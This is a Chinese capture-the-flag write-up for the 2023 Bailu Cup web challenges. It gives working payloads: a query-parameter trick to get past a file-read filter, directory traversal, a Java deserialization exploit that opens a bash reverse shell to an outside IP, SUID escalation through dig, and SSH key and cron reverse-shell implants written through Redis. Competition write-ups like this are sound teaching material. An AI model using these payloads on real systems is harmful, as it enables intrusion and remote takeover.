2023 柏鹭杯 web
三等奖没混到,抱着队友的大腿获得了第17
Express fs
以下代码存在任意文件读取
先读取环境变量,/proc/self/cmdline中发现了正在运行的node /app/main.js
读取文件之后,发现这里存在任意文件读取,同时ban 了flag
没法直接读取flag
1 2 3 4 5 6 7
| app.use((req, res, next) => { if ([req.body, req.headers, req.query].some((item) => item && JSON.stringify(item) .includes("flag"))) { return res.send("臭黑客!"); } next(); });
|
这里同corCtf2022类似
corCtf2022一道有意思的node题 - 码农教程 (manongjc.com)
直接照着payload打就好了
1 2 3 4 5 6 7
| 这个 file 对象满足如下条件
.href 存在 .origin 存在 .protocol === 'file:' .hostname === '' .pathname 是/app/flag.txt URL 编码的(注意:这需要双 URL 编码,因为 Express 已经 URL 解码一次)
|
传入
1
| ?file[href]=a&file[origin]=1&file[protocol]=file:&file[hostname]=&file[pathname]=/fl%2561g.txt
|
得到flag
综合5
/readfile?filename=
直接目录穿越读文件
1
| /readfile?filename=/../../../../../app/demo.jar
|
简单的spring boot信息泄露,下载下来得到源码
直接叫gpt写一个解密脚本就好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| import base64
enc_flag1 = "UFVTUhgqY3d0FQxRVFcHBlQLVwdSVlZRVlJWBwxeVgAHWgsBWgUAAQEJRA==" O0O = "6925cc02789c1d2552b71acc4a2d48fd"
def o0o(Ooo, O0O): oOo = []
for o0O in range(len(Ooo)): Oo0 = ord(Ooo[o0O]) oOO = ord(O0O[o0O % len(O0O)]) OOo = chr(Oo0 ^ oOO) oOo.append(OOo)
return ''.join(oOo)
# 解密步骤 decoded_flag = base64.b64decode(enc_flag1).decode() decrypted_flag = o0o(decoded_flag, O0O)
print(decrypted_flag)
|
综合题6
ping类里面存在危险方法的调用
1 2 3 4 5
| private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); String[] cmdArray = new String[]{this.command, this.arg1, this.arg2}; Runtime.getRuntime().exec(cmdArray); }
|
直接写入恶意命令就好
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public class Main { public static void main(String[] args) throws IOException, ClassNotFoundException { Ping AasL1N = new Ping(); AasL1N.setCommand("bash"); AasL1N.setArg1("-c"); AasL1N.setArg2("bash -i >& /dev/tcp/111.229.202.164/3232 0>&1"); ByteArrayOutputStream out = new ByteArrayOutputStream(); ObjectOutputStream objOut = new ObjectOutputStream(out); objOut.writeObject(AasL1N); System.out.println(out.toByteArray()); String payload = Base64.getEncoder().encodeToString(out.toByteArray()); System.out.println(payload); } }
|
在/internalApi/v3.2/updateConfig发包
得到shell
suid提权
1
| find / -perm -u=s -type f 2>dev/null
|
看到dig有suid权限
1 2
| FILE=/root/flag2 dig -f $FILE
|
得到flag
综合7
看到存在redis服务器
直接读取配置
1
| ../../../../usr/local/share/application.properties
|
1 2 3 4 5 6 7
| server.port=18080 server.servlet.context-path=/ management.endpoints.web.exposure.incLude=heapdump spring.redis.host=172.25.0.10 spring.redis.port=62341 spring.redis.password=de17cb1cfala8e8011f0276416775c6a spring.servlet.multipart.max-file-size=10MB
|
有密码账号,直接打就好了
写一个公钥
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| ssh-keygen -t rsa #生成公私钥
(echo -e "\n\n";cat /root/.ssh/id_rsa.pub;echo -e "\n\n")>key.txt #写入
cat /root/.ssh/key.txt | proxychains4 redis-cli -h 172.25.0.10 -p 62341 -a de17cb1cfa1a8e8011f027b416775c6a -x set xqq
proxychains redis-cli -h 172.25.0.10 -p 62341 -a de17cb1cfa1a8e8011f027b416775c6a
config set dir /root/.ssh
config set dbfilename authorized_keys
save
proxychains ssh -i id_rsa root@172.25.0.10
|
指定私钥登录
也可以写计划任务(没试过)
1 2 3 4
| set xx "\n* * * * * bash -i >& /dev/tcp/192.168.0.113/9999 0>&1\n" config set dir /var/spool/cron/ config set dbfilename root save
|
得到flag
后面的wp查不到,也没法复现了,以后想起来了就写